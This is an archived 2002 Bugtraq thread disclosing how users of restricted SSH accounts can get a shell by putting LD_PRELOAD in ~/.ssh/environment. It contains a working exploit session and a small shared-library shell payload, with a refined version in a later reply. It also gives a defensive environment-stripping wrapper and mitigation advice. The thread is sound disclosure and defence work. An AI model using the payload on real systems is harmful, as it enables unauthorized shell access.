8652445 2002-06-24 20:08 -0400  /277 rader/ ari <edelkind-bugtraq@episec.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-26  23:54  av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22827>
Ärende: ssh environment - circumvention of restricted shells
------------------------------------------------------------
From: ari <edelkind-bugtraq@episec.com>
To: bugtraq@securityfocus.com
Message-ID: <20020625000812.GE7038@episec.com>


Given the similarities with certain other security issues, i'm
surprised this hasn't been discussed earlier.  If it has, people
simply haven't paid it enough attention.

This problem is not necessarily ssh-specific, though most telnet
daemons that support environment passing should already be configured
to remove dangerous variables due to a similar (and more serious)
issue back in '95 (ref: [1]).  I will give ssh-based examples here.


*** scenario one:

Let's say admin bob has a host that he wants to give people ftp
access to.  Bob doesn't want anyone to have the ability to actually
_log into_ his system, so instead of giving users normal shells, or
even no shells, bob gives them all (say) /usr/sbin/nologin, a program
he wrote himself in C to essentially log the attempt to syslog and
exit, effectively ending the user's session.  As far as most people
are concerned, the user can't do much with this aside from, say,
setting up an encrypted tunnel.

The thing is, bob's system uses dynamic libraries (as most do), and
/usr/sbin/nologin is dynamically linked (as most such programs are).
If a user can set his environment variables (e.g. by uploading a
'.ssh/environment' file) and put some arbitrary file on the system
(e.g.  'doevilstuff.so'), he can bypass any functionality of
/usr/sbin/nologin completely via LD_PRELOAD (or another member of the
LD_* environment family).

The user can now gain a shell on the system (with his own privileges,
of course, barring any 'UseLogin' issues (ref: [2])), and
administrator bob, if he were aware of what just occurred, would be
extremely unhappy.

Granted, there are all kinds of interesting ways to (more or less) do
away with this problem.  Bob could just grit his teeth and give the
ftp users a nonexistent shell, or he could statically compile
nologin, assuming his operating system comes with static libraries.
Bob could also, humorously, make his nologin program setuid and let
the standard C library take care of the situation.  Then, of course,
there are also the ssh-specific access controls such as AllowGroup
and AllowUsers.  These may appease the situation in this scenario,
but it does not correct the problem.


*** scenario <n>:

Now, what happens if bob, instead of using /usr/sbin/nologin, wants
to use (for example) some BBS-type interface that he wrote up or
downloaded?  It can be a script written in perl or tcl or python, or
it could be a compiled program; doesn't matter.  Additionally, bob
need not be running an ftp server on this host; instead, perhaps bob
uses nfs or veritas to mount user home directories from a fileserver
on his network; this exact setup is (unfortunately) employed by many
bastion hosts, password management hosts and mail servers---to name a
few.  Perhaps bob runs an ISP, and replaces the user's shell when he
doesn't pay.  With all of these possible (and common) scenarios,
bob's going to have a somewhat more difficult time getting around the
problem.

Compiling the program statically may not be an option; hell, bob may
not have the source code, or even if he does, he may not have the
know-how to replace arbitrary system commands without breaking
things.  He could compile a static wrapper, assuming that his
operating system comes with static libraries, or he _could_ write a
setuid wrapper that just calls setuid(getuid()) before executing the
menu-based program, again to allow the C library to take care of his
situation.  Still, all of this may entail replacing arbitrary system
commands that may have been previously explicitly set as user shells.

Ideally, bob shouldn't need to take such seemingly odd, nonstandard
precautions.  Additionally, should his libc not properly deal with the
LD_* family for setuid programs, suddenly bob may find himself with an
even larger (ahem, marginally larger) problem.


I previously reported this problem to bugs@openbsd.org so that
openssh would have a chance to take care of the situation or discuss
it further, and i had planned the same for ssh communications.
However, markus@openbsd.org decided that this was unimportant, and
carbon copied the tech@openbsd.org mailing list with his opinion.


Exploitation of the problem is simple.  The circumvention code would
be compiled into a dynamic library and LD_PRELOAD=/path/to/evil.so
should be placed into ~user/.ssh/environment (a similar environment
option may be appended to public keys in the authohrized_keys file).
If no dynamically loadable programs are executed, this will have no
effect.

--- sample session of exploitation ---
bobuser1% ssh bobserver
evil@bobserver's password:

    User evil is not allowed to log in here.  Please use one of
    the bobuser systems for shell access and account maintenance.

    For assistance, please call the help desk at extension 5432.

Connection to bobserver closed.
bobuser1% pwd
/home/evil
bobuser1% df -k |grep home
bobfs:/home   [...]   [...]   [...]   68%   /home
bobuser1% cat >evilso.c
#include <unistd.h>

void _init(void) {
	execl("/bin/sh", "sh", 0);
}
^D
bobuser1% gcc -o evilso.so -shared -nostdlib evilso.c -Wall
bobuser1% echo "LD_PRELOAD=/home/evil/evilso.so" >.ssh/environment
bobuser1% ssh bobserver
evil@bobserver's password:
$ unset LD_PRELOAD
$ uname -n
bobserver
$ who am i
evil
$
--- end sample session ---



*** potential workaround:

First and foremost, allow only specific users (AllowUsers) or groups
(AllowGroups) login access with ssh controls, if this is feasible on
your network.  This would be the best workaround, but it is not a
solution to the problem.

ISPs and universities (along with similarly affected organizations)
should compile their rejection (or otherwise restricted) binaries
statically (assuming your operating system comes with static
libraries).  A sample static/setuid wrapper is appended, and an
alternate static wrapper is given in [1].

Ideally, sshd (and all remote access programs that allow
user-definable environments) should strip any environment settings
that libc ignores for setuid programs.

ari

http://www.episec.com/people/edelkind/
http://www.episec.com/


A sample wrapper is given below, along with compiling instructions.
References follow.


--- sample wrapper ---
/* This is a shell wrapper to remove variables from the login
 * environment before executing the desired shell.
 * 
 * While this program should preferably be statically compiled, it was
 * also written to accomodate those systems that do not ship with static
 * libraries.  If your system does not have static libraries, make the
 * binary setuid-someuser (may be non-root) instead.
 */

#include <unistd.h>
#include <string.h>
#include <stdio.h>

/* include appended slash */
#define PREPATH    "/realshells/"

void stripenv(envp)
	char **envp;
{
	/* the following entries are based on Lawrence R. Rogers'
	 * wrapper in cert advisory CA-1995-14 */

	register char **p1, **p2;

	for (p1 = p2 = envp; *p1; p1++) {
		if (memcmp(*p1, "LD_", 3) ||
		    memcmp(*p1, "_RLD", 4) ||
		    memcmp(*p1, "LIBPATH=", 8) ||
		    memcmp(*p1, "ELF_LD_", 7) ||
		    memcmp(*p1, "AOUT_LD_", 8) ||
		    memcmp(*p1, "IFS=", 4)) continue;

		*p2++ = *p1;
	}
	*p2 = 0;
}


int main(argc, argv, envp)
	int argc;
	char **argv;
	char **envp;
{
	int fnl, ppl;

	if (setuid(getuid())) {
		perror("setuid");
		fflush(stderr);
		_exit(1);
	}

	if (*argv[0] != '-') {
		/* not a login shell */
		_exit(1);
	}

	fnl = strlen(argv[0]) - 1;  /* minus prepended dash */
	ppl = strlen(PREPATH);

	{
		char fn[fnl + ppl + 1];
		memcpy (fn, PREPATH, ppl);
		memcpy (fn + ppl, (argv[0] + 1), fnl);
		*(fn + ppl + fnl) = 0;

		stripenv(envp);
		execve (fn, argv, envp);
		perror(fn);
		fflush(stderr);
		_exit(1);
	}

}
--- end sample setuid wrapper ---


[the following instructions are generalizations and will need to be
adjusted for some operating systems]

If your system supports static libraries:

  Compiling (with gcc):
	% gcc -o swrapper swrapper.c -O -static -s -Wall
	% ldd swrapper
	ldd: tcsh: not a dynamic executable

  Example setup:
	# mkdir /realshells
	# ls -l /usr/sbin/nologin
	-rwxr-x--x   1 root   root  5400 Dec 31  1999 /usr/sbin/nologin
	# cp /usr/sbin/nologin /realshells/
	# cp swrapper /usr/sbin/nologin
	# ls -l /usr/bin/menulogin
	-rwxr-x--x   1 root   root 19200 Dec 31  1999 /usr/bin/menulogin
	# cp /usr/bin/menulogin /realshells/
	# cp swrapper /usr/bin/menulogin


If your system does not support static libraries:

  Compiling (with gcc):
	% gcc -o swrapper swrapper.c -O -s -Wall

  Example setup:
	(follow setup for statically-blessed systems, plus:)
	# chown user:group /usr/sbin/nologin /usr/bin/menulogin
	# chmod 4111 /usr/sbin/nologin /usr/bin/menulogin
	# ls -l /usr/sbin/nologin /usr/bin/menulogin
	---s--x--x   1 user  group  4096 Jun 24 01:01 /usr/sbin/nologin
	---s--x--x   1 user  group  4096 Jun 24 01:01 /usr/bin/menulogin

 'user' and 'group' may be the user and group of your preference.



References:
	[1] CERT Advisory CA-1995-14,
	    http://www.cert.org/advisories/CA-1995-14.html
	[2] SecurityFocus bugtraq id 3614,
	    http://online.securityfocus.com/bid/3614
(8652445) /ari <edelkind-bugtraq@episec.com>/(Ombruten)
Kommentar i text 8652730 av Markus Friedl <markus@openbsd.org>
8652730 2002-06-26 23:58 +0200  /21 rader/ Markus Friedl <markus@openbsd.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-27  03:39  av Brevbäraren
Extern mottagare: ari <edelkind-bugtraq@episec.com>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22834>
Kommentar till text 8652445 av ari <edelkind-bugtraq@episec.com>
Ärende: Re: ssh environment - circumvention of restricted shells
------------------------------------------------------------
From: Markus Friedl <markus@openbsd.org>
To: ari <edelkind-bugtraq@episec.com>
Cc: bugtraq@securityfocus.com
Message-ID: <20020626215844.GA28494@faui02>

On Mon, Jun 24, 2002 at 08:08:12PM -0400, ari wrote:
> Given the similarities with certain other security issues, i'm surprised
> this hasn't been discussed earlier.  If it has, people simply haven't
> paid it enough attention.

if you setup restricted accounts with restricted shells and allow
unrestricted writing to .ssh/** then you are lost.  same
applies to ftp-only accounts where users have full control over
what's in their $HOME.

so for restricted accounts you have to be very careful, don't
allow writing to $HOME, just to some selected sub directories.

-m
(8652730) /Markus Friedl <markus@openbsd.org>/------
Kommentar i text 8657908 av Jose Nazario <jose@monkey.org>
8657908 2002-06-26 20:14 -0400  /32 rader/ Jose Nazario <jose@monkey.org>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-28  01:06  av Brevbäraren
Extern mottagare: Markus Friedl <markus@openbsd.org>
Extern kopiemottagare: ari <edelkind-bugtraq@episec.com>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22858>
Kommentar till text 8652730 av Markus Friedl <markus@openbsd.org>
Ärende: Re: ssh environment - circumvention of restricted shells
------------------------------------------------------------
From: Jose Nazario <jose@monkey.org>
To: Markus Friedl <markus@openbsd.org>
Cc: ari <edelkind-bugtraq@episec.com>, <bugtraq@securityfocus.com>
Message-ID: <Pine.BSO.4.44.0206262008420.5357-100000@naughty.monkey.org>

i have an older OpenSSH hacked up to allow for secure connections to
a BBS. obviously this is a limited case solution, but it does address
some of the concerns in this note.

first we disallow scp and remote command execution via modifications
to ssh. this is for SSH-1.5 only, so the daemon is configured for
that only.  secondly, we dont let the user write to their home
directory or do much of anything on the machine except connect to the
BBS, mainly via permissions.  their shell hardcodes restrictions on
their telnet to loopback. oh yeah, the patch also hacks in the
username "bbs-user", so now people can ssh bbs.host.com and get there
without issues. resource limits and quotas minimize any impact that
an attack can cause.

its not perfect, but it does the job and stops most attacks. the code
is available here:

	http://www.heiho.net/bbs100/ssh_patch.txt
	http://www.heiho.net/bbs100/bbs_shell.txt

hope that helps some people solve a part of this problem. i agree
totally with markus, though, that the real issues are configuration
errors.

___________________________
jose nazario, ph.d.			jose@monkey.org
					http://www.monkey.org/~jose/
(8657908) /Jose Nazario <jose@monkey.org>/(Ombruten)
8657987 2002-06-26 16:41 -0800  /47 rader/ Leif Sawyer <lsawyer@gci.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-28  01:50  av Brevbäraren
Extern mottagare: Markus Friedl <markus@openbsd.org>
Extern mottagare: ari <edelkind-bugtraq@episec.com>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22865>
Ärende: RE: ssh environment - circumvention of restricted shells
------------------------------------------------------------
From: Leif Sawyer <lsawyer@gci.com>
To: Markus Friedl <markus@openbsd.org>,
 ari <edelkind-bugtraq@episec.com> Cc: bugtraq@securityfocus.com
Message-ID:
<BF9651D8732ED311A61D00105A9CA31508EC128E@berkeley.gci.com>

Markus Friedl responded 
> On Mon, Jun 24, 2002 at 08:08:12PM -0400, ari wrote:
> > Given the similarities with certain other security issues, 
> > i'm surprised this hasn't been discussed earlier.  If it has,
> > people simply haven't paid it enough attention.
> 
> if you setup restricted accounts with restricted shells and allow
> unrestricted writing to .ssh/** then you are lost.  same
> applies to ftp-only accounts where users have full control over
> what's in their $HOME.
> 
> so for restricted accounts you have to be very careful, don't
> allow writing to $HOME, just to some selected sub directories.

This can cause some problems for ISP's who use the user home directory
for their public_html root.  This of course is done to keep the number
of user questions down.

I've tried this 'exploit' on both Linux 2.4.14 (redhat) and Solaris
2.8 boxen, and have been unable to get a shell.  The shell process is
there, but fails to communicate with the network socket.

*** However ***, if i replace "/bin/sh" with "ping some.ip.add.ress"  and
attempt the connection, i'm greeted with the following:

	Last login: today from somehost
	Sun Microsystems Inc.  SunOS 5.8
	ld.so.1: ping: warning: /homes/evil/.ssh/evil.so: open failed:
illegal insecure pathname
	some.ip.add.ress is alive
	Connection to target closed.

Since i'm not a system programmer, I don't know if the failure is due
to me not setting up the tty that /bin/sh will use, or if it's
related to the above message.

I look forward to more information on this so that we can escalate
the true issue and get it solved.
(8657987) /Leif Sawyer <lsawyer@gci.com>/-(Ombruten)
Kommentar i text 8658003 av ari <edelkind-bugtraq@episec.com>
8658003 2002-06-27 00:54 -0400  /47 rader/ ari <edelkind-bugtraq@episec.com>
Sänt av: joel@lysator.liu.se
Importerad: 2002-06-28  02:04  av Brevbäraren
Extern mottagare: Leif Sawyer <lsawyer@gci.com>
Extern kopiemottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <22867>
Kommentar till text 8657987 av Leif Sawyer <lsawyer@gci.com>
Ärende: Re: ssh environment - circumvention of restricted shells
------------------------------------------------------------
From: ari <edelkind-bugtraq@episec.com>
To: Leif Sawyer <lsawyer@gci.com>
Cc: bugtraq@securityfocus.com
Message-ID: <20020627045453.GA5561@episec.com>

lsawyer@gci.com said this stuff:

[...]
> I've tried this 'exploit' on both Linux 2.4.14 (redhat) and Solaris 2.8
> boxen, and have been unable to get a shell.  The shell process is there,
> but fails to communicate with the network socket.  

Ah; /bin/sh is shared on your system as well.  To get around this, try
the following code for evil.so:

-----
#include <unistd.h>
#include <stdlib.h>

void _init (void) {
	unsetenv("LD_PRELOAD");
	execl("/bin/sh", "sh", 0);
}
-----

> *** However ***, if i replace "/bin/sh" with "ping some.ip.add.ress"  and
> attempt the connection, i'm greeted with the following:
> 
> 	Last login: today from somehost
> 	Sun Microsystems Inc.  SunOS 5.8
> 	ld.so.1: ping: warning: /homes/evil/.ssh/evil.so: open failed:
> illegal insecure pathname
> 	some.ip.add.ress is alive
> 	Connection to target closed.

Your 'ping' binary is probably setuid-root.  What happens is, the
shared library executes ping, but the LD_PRELOAD environment variable
hasn't gone anywhere.  When ping executes, ld.so sees LD_PRELOAD
(which is forbidden for setuid programs), complains, and doesn't
execute it.

On the other hand, when executing your shared /bin/sh, every /bin/sh
process once again preloads evil.so, creating an infinite execl(3)
loop.  The code above should account for that.

ari
(8658003) /ari <edelkind-bugtraq@episec.com>/(Ombruten)